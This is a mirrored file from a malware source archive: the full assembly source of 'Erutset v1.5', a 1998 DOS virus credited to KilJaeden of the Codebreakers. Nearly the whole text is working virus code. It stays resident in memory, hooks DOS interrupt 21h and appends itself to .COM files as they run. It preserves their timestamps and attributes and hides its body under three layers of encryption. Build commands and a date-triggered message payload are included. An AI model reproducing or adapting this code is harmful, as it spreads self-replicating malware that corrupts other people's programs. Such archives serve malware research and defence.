mirror of
https://github.com/vxunderground/MalwareSourceCode
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338 lines
20 KiB
NASM
338 lines
20 KiB
NASM
; ------------------------------------------------------------------------- ;
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; Erutset v1.5 coded by KilJaeden of the Codebreakers 1998 ;
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; ------------------------------------------------------------------------- ;
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; Description: `-------------------| Started: 19/06/98 | Finished: 19/06/98 ;
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; `-------------------^------------------- ;
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; v1.0 - Memory resident .com appender, infects upon execution | Size: 637 ;
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; v1.1 - restores time/date & attributes also infects readonly `---------- ;
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; v1.2 - now has a single layer of XOR,NEG,ROR encryption ;
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; v1.3 - added a second layer of XOR,NEG,NOT,ROR,ROL encryption ;
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; v1.4 - added a third layer of XOR,NEG,NOT,ROR,ROL encryption ;
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; v1.5 - added a small payload, prints a string and waits for keypress ;
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; ------------------------------------------------------------------------- ;
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; --------> Dedicated to the hate of all the '31337 h4x0rs' on IRC <------- ;
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; ------------------------------------------------------------------------- ;
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; to compile ::] tasm erutset.asm ;
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; to link :::::] tlink /t erutset.obj ;
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; ------------------------------------------------------------------------- ;
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code segment ; name our segment 'code'
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assume cs:code,ds:code ; assign CS and DS to code
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org 100h ; this be a .com file
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.286 ; needed for pusha/popa
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jumps ; save space wasted jumping
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blank: db 0e9h,0,0 ; jump to start of code
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start: call delta ; push IP on to stack
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delta: pop bp ; pop it into bp
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sub bp,offset delta ; get the delta offset
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decr: jmp once ; jump to once (overwritten)
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lea si,[bp+encd] ; load the source index up
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mov di,si ; move it into DI
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call encr ; decrypt the 1st layer
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; --------------------( Start Of 1st Encryption Blanket )------------------ ;
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; ------------------------------------------------------------------------- ;
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encd: lea si,[bp+d_encd] ; load the source index up
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mov di,si ; move it into DI again
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mov cx,d_encr-d_encd ; # of bytes to decrypt
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call d_encr ; decrypt the 2nd layer
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; --------------------( Start Of 2nd Encryption Blanket )------------------ ;
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; ------------------------------------------------------------------------- ;
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d_encd: lea si,[bp+t_encd] ; load the source index up
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mov di,si ; move it into DI again
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mov cx,t_encr-t_encd ; # of bytes to decrypt
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call t_encr ; decrypt the 3rd layer
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; --------------------( Start Of 3rd Encryption Blanket )------------------ ;
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; ------------------------------------------------------------------------- ;
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t_encd: call pload ; check if payload time
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mov ax,0deadh ; check if already resident
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int 21h ; if we are, bx = 0deadh now
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cmp bx,0deadh ; does bx hold 0deadh ?
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je first3 ; we are already resident!
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sub word ptr cs:[2],80h ; lower top of PSP mem data
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mov ax,cs ; move CS into AX
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dec ax ; decrement AX
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mov ds,ax ; move AX into DS
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sub word ptr ds:[3],80h ; sub 2kb from accessed MCB
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xor ax,ax ; xor the value in ax to 0
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mov ds,ax ; move that value into DS
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sub word ptr ds:[413h],2 ; adjust BIOS data by 2kb
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mov ax,word ptr ds:[413h] ; move adjusted BIOS data
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mov cl,6 ; load cl with value of 6
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shl ax,cl ; multiply BIOS mem by 64
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mov es,ax ; move value into ES
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push cs ; push value of code segment
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pop ds ; into data segment register
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xor di,di ; xor value in DI to 0
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lea si,[bp+start] ; load the source index
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mov cx,finished-start ; # of bytes to load up
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rep movsb ; load virus into memory
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xor ax,ax ; value in ax to 0
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mov ds,ax ; move value into DS
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lea ax,isr ; point IVT to new ISR
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sub ax,offset start ; subtract start offset
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mov bx,es ; move es into bx
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cli ; interrupts off
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xchg ax,word ptr ds:[84h] ; switch old/new int 21h
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xchg bx,word ptr ds:[86h] ; switch old/new int 21h
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mov word ptr es:[oi21-offset start],ax ; save the old int 21h
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mov word ptr es:[oi21+2-offset start],bx ; save the old int 21h
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sti ; interrupts on
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push cs cs ; push code segment twice
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pop ds es ; into DS and ES registers
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first3: lea si,[bp+saved] ; load up the source index
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mov di,100h ; load the destination index
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push di ; push 100h on to the stack
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movsw ; move two bytes now
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movsb ; move one byte now
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retn ; return control to host
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; ------------------------------------------------------------------------- ;
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; ------------------------------------------------------------------------- ;
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isr: pushf ; push all flags
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cmp ax,0deadh ; are we testing if resident?
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jne exec ; nope, check for execution
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mov bx,0deadh ; yup, show them we are here
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popf ; pop all flags
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iret ; pop cs:ip+flags from stack
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exec: pusha ; push all registers
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push ds ; push data segment register
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push es ; push extra segment register
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cmp ah,4bh ; something being executed?
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je infect ; yup! infect the file
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exit: pop es ; pop ES from the stack
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pop ds ; pop DS from the stack
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popa ; pop all registers
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popf ; pop all flags
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old21: db 0eah ; jump to original ISR
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oi21 dd ? ; old int 21 goes here
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ret ; return from call
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; ------------------------------------------------------------------------- ;
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; ------------------------------------------------------------------------- ;
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infect: push bp ; save original delta offset
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call tsrdel ; push IP on to stack again
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tsrdel: pop bp ; pop it into bp
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sub bp,offset tsrdel ; get the 2nd delta offset
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push ds ; push DS on to stack
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pop es ; pop it into es
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mov di,dx ; move file handle into di
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mov cx,64 ; 64 byte filename possible
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mov al,'.' ; load al with the .
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cld ; clear direction flag
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repnz scasb ; scan until . is hit
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cmp word ptr ds:[di],'OC' ; is the file .CO- ?
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jne abort ; not it isn't, abort
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cmp word ptr ds:[di+2],'M' ; is the file .--M ?
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jne abort ; no it isn't, abort
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mov ax,4300h ; get file attributes
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int 21h ; get them now
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push cx ; push the attributes
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push dx ; push the file name
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mov ax,4301h ; set file attributes
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xor cx,cx ; to no attributes at all
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int 21h ; ready for infection
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mov ax,3d02h ; open the file read/write
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int 21h ; open the file now
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xchg bx,ax ; move the file handle
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push cs cs ; push CS on to stack twice
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pop ds es ; pop it into DS and ES
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mov ax,5700h ; get time/date stamps
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int 21h ; get them now
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push dx ; save the date
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push cx ; save the time
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mov ah,3fh ; the read function
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lea dx,[bp+saved] ; record the bytes here
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mov cx,3 ; read first three bytes
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int 21h ; first three recorded
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mov ax,4202h ; scan to end of file
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xor cx,cx ; xor value of cx to 0
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cwd ; likewize for dx
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int 21h ; DX:AX = file size now!
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cmp dx,0 ; is the file < 65,535 bytes?
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jne close ; way to big, close it up
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mov cx,word ptr [bp+saved+1] ; move buffer+1 into cx
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add cx,finished-start+3 ; virus size + jump
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cmp ax,cx ; compare the two
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jz close ; if equal, close it up
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sub ax,3 ; get jump to virus body size
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mov word ptr [bp+newjump+1],ax ; write as our new jump
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mov ax,4200h ; point to start of file
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xor cx,cx ; xor value of cx to 0
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cwd ; likewize for dx
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int 21h ; pointing to SOF
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mov ah,40h ; write to file
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mov cx,3 ; write three bytes
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lea dx,[bp+newjump] ; write the jump
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int 21h ; jump is written
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mov ax,4202h ; point to end of file
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xor cx,cx ; xor value of cx to 0
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cwd ; likewize for dx
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int 21h ; pointing to EOF
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lea si,[bp+start] ; load the source index
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lea di,[bp+buffer] ; load the destination index
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mov cx,finished-start ; # of bytes to put in mem
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rep movsb ; load virus into memory
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lea di,[bp+t_encd-start+buffer] ; load the source index
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mov si,di ; load the destination index
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mov cx,t_encr-t_encd ; # of bytes to encrypt
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call t_encr ; encrypt the 1st layer
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lea si,[bp+d_encd-start+buffer] ; load the source index
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mov di,si ; load the destination index
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mov cx,d_encr-d_encd ; # of bytes to encrypt
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call d_encr ; encrypt the 2nd layer
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lea di,[bp+encd-start+buffer] ; load the destination index
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mov si,di ; load the source index
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mov cx,encr-encd ; # of bytes to encrypt
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call encr ; encrypt the 3rd layer
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mov ah,40h ; write to file
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mov cx,finished-start ; # of bytes to write
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lea dx,[bp+buffer] ; write from mem
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int 21h ; write the bytes now
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close: mov ax,5701h ; set time / date stamps
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pop cx ; restore the time
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pop dx ; restore the date
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int 21h ; time / date is restored
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mov ax,4301h ; set file attributes
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pop dx ; for this file name
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pop cx ; with these attributes
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int 21h ; attributes are restored
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mov ah,3eh ; close up the file
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int 21h ; file is closed
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abort: pop bp ; pop original delta offset
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jmp exit ; point to original ISR
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; ------------------------------------------------------------------------- ;
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; ------------------------------------------------------------------------- ;
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saved db 0cdh,20h,0 ; our saved bytes
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newjump db 0e9h,0,0 ; the soon to be jump
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pldmsg db '',10,13
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db ' Infected with :: Erutset :: coded by KilJaeden of the Codebreakers 1998',10,13,'$'
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; ------------------------------------------------------------------------- ;
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; ------------------------------------------------------------------------- ;
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pload: mov ah,2ah ; get system time
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int 21h ; get it now
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cmp dl,23 ; is it the 23rd?
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jne endpld ; nope, end the payload
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mov ah,09h ; print a string
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lea dx,[bp+pldmsg] ; our message
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int 21h ; print our message
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mov ah,00h ; wait for keypress
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int 16h ; make them see us
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endpld: ret ; return from call
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; --------------------( End Of 3rd Encryption Blanket )-------------------- ;
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; ------------------------------------------------------------------------- ;
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t_encr: lodsb ; load a byte
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xor al,0C4h ;-----[1]
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ror al,4 ;----[2]
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not al ;---[3]
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neg al ;--[4]
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rol al,4 ;-[5]
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neg al ;--[4]
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not al ;---[3]
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ror al,4 ;----[2]
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xor al,0C4h ;-----[1]
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stosb ; store a byte
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loop t_encr ; do all the bytes
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ret ; return from call
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; --------------------( End Of 2nd Encryption Blanket )-------------------- ;
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; ------------------------------------------------------------------------- ;
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d_encr: lodsb ; load a byte
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neg al ;---------[1]
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ror al,4 ;--------[2]
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not al ;-------[3]
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neg al ;------[4]
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rol al,4 ;-----[5]
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not al ;----[6]
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ror al,4 ;---[7]
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neg al ;--[8]
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xor al,069h ;-[9] encryption/decryption
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neg al ;--[8]
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ror al,4 ;---[7]
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not al ;----[6]
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rol al,4 ;-----[5]
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neg al ;------[4]
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not al ;-------[3]
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ror al,4 ;--------[2]
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neg al ;---------[1]
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stosb ; store the byte
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loop d_encr ; do all the bytes
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ret ; return from call
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; --------------------( End Of 1st Encryption Blanket )-------------------- ;
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; ------------------------------------------------------------------------- ;
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encr: lodsb ; load a byte
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neg al ;---[1]
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ror al,4 ;--[2]
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xor al,0C4h ;-[3] encryption/decryption
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ror al,4 ;--[2]
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neg al ;---[1]
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stosb ; store the byte
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loop encr ; do all the bytes
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ret ; return from call
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; ------------------------------------------------------------------------- ;
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; ------------------------------------------------------------------------- ;
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buffer: ; save our virus in mem
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finished: ; end of the virus
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once: lea si,[bp+new] ; load the source index
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lea di,[bp+decr] ; load the destination index
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movsw ; move two bytes
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movsb ; move one byte
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jmp t_encd ; jump to encrypted area
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new: mov cx,encr-encd ; this replaces the jump
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code ends ; end code segment
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end blank ; end / where to start
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; ------------------------------------------------------------------------- ;
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; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
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; ------------------------------------------------------------------------- ;
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